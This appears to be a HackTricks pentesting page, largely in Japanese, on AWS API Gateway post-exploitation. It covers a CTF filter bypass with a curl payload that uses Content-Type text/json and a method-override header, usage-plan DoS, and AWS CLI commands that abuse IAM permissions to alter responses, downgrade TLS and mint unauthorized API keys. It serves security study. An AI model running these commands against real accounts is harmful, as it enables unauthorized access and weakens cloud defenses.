Files

8.2 KiB

AWS - API Gateway Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

API Gateway

詳細は次を参照してください:

{{#ref}} ../../aws-services/aws-api-gateway-enum.md {{#endref}}

未公開の API にアクセス

https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint にサービス com.amazonaws.us-east-1.execute-api でエンドポイントを作成し、アクセス可能なネットワーク(場合によっては EC2 マシン経由)にエンドポイントを公開し、すべての接続を許可するセキュリティグループを割り当てることができます。
その後、EC2 マシンからエンドポイントにアクセスでき、これまで外部に公開されていなかった API Gateway を呼び出すことができます。

Bypass Request body passthrough

This technique was found in this CTF writeup.

As indicated in the AWS documentation in the PassthroughBehavior section, by default, the value WHEN_NO_MATCH , when checking the Content-Type header of the request, will pass the request to the back end with no transformation.

したがって、CTF では API Gateway に統合テンプレートが設定されており、リクエストが Content-Type: application/json で送信された場合にレスポンス内で preventing the flag from being exfiltrated という挙動になっていました:

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

しかし、Content-type: text/json を送信するとそのフィルタを回避できた。

最後に、API Gatewayが GetOptions のみを許可していたため、ボディにクエリを入れてPOSTリクエストを送信し、ヘッダ X-HTTP-Method-Override: GET を使用することで、任意のdynamoDBクエリを制限なく送信できた:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

この Enumeration セクションでは、キーの usage plan を取得する 方法が確認できます。キーを所持していて、1か月あたり X 回に 制限されている 場合は、単にそのキーを使い続けて DoS を引き起こす ことが可能です。

The API Keyx-api-key という HTTP header含める だけで構いません。

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

権限 apigateway:UpdateGatewayResponseapigateway:CreateDeployment を持つ攻撃者は、既存の Gateway Response を修正してカスタムヘッダやレスポンステンプレートを含め、機密情報を leak したり悪意あるスクリプトを実行させたりすることができます

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: 機密情報の漏洩、悪意のあるスクリプトの実行、または API リソースへの不正アクセス。

Note

テストが必要

apigateway:UpdateStage, apigateway:CreateDeployment

apigateway:UpdateStageapigateway:CreateDeployment の権限を持つ攻撃者は、既存の API Gateway ステージを変更してトラフィックを別のステージにリダイレクトしたり、キャッシュ設定を変更してキャッシュされたデータへ不正にアクセスしたりすることができます

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在的影響: キャッシュされたデータへの不正アクセス、APIトラフィックの妨害や傍受。

Note

検証が必要です

apigateway:PutMethodResponse, apigateway:CreateDeployment

権限 apigateway:PutMethodResponseapigateway:CreateDeployment を持つ攻撃者は、既存の API Gateway REST API メソッドのメソッドレスポンスを カスタムヘッダーやレスポンステンプレートを含めるように変更し、機密情報を leak したり悪意のあるスクリプトを実行させたりすることができます

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: 敏感情報の漏洩、悪意のあるスクリプトの実行、または API リソースへの不正アクセス。

Note

テストが必要

apigateway:UpdateRestApi, apigateway:CreateDeployment

apigateway:UpdateRestApi および apigateway:CreateDeployment の権限を持つ攻撃者は、API Gateway REST API の設定を変更してログ記録を無効化したり、最小 TLS バージョンを変更したりして、API のセキュリティを弱体化させる可能性があります

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: APIのセキュリティが弱まり、不正アクセスや機密情報が漏洩する可能性があります。

Note

テストが必要

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

権限 apigateway:CreateApiKeyapigateway:UpdateApiKeyapigateway:CreateUsagePlan、および apigateway:CreateUsagePlanKey を持つ攻撃者は、新しい API keys を作成し、それらを usage plans に関連付け、これらのキーを使って APIs へ不正アクセスを行うことができます

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

潜在的影響: APIリソースへの不正アクセス、セキュリティコントロールのバイパス。

Note

テストが必要

{{#include ../../../../banners/hacktricks-training.md}}